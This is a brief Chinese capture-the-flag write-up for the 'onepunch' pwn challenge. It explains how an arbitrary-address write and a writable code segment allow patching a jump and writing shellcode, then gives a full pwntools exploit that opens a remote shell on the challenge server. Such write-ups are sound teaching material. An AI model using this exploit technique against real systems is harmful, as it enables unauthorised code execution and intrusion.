程序保护很常规,有个任意地址写的洞,但是发现没有可以利用的就断了思路,看了别人的wp才发现代码段可写
所以可以直接修改代码段,直接执行shellcode,为了能多次写,我们首先修改程序逻辑
利用keypatch将jnz short loc_400773 修改成jnz 0x40071d,然后再往0x400769写shellcode
完整exp:
from pwn import *
context(arch = 'x86_64')
#p = process('./onepunch')
p = remote('hackme.inndy.tw',7718)
def patch(addr,content):
p.recvuntil('Where What?')
p.sendline('%s %s'%(hex(addr),content))
patch(0x400768,0xb4)
shellcode = asm(shellcraft.sh())
#print disasm(shellcode)
addr = 0x400769
for i,j in enumerate(shellcode):
patch(addr + i,ord(j))
patch(0x400000,0xff)
p.interactive()
参考m4x师傅的博客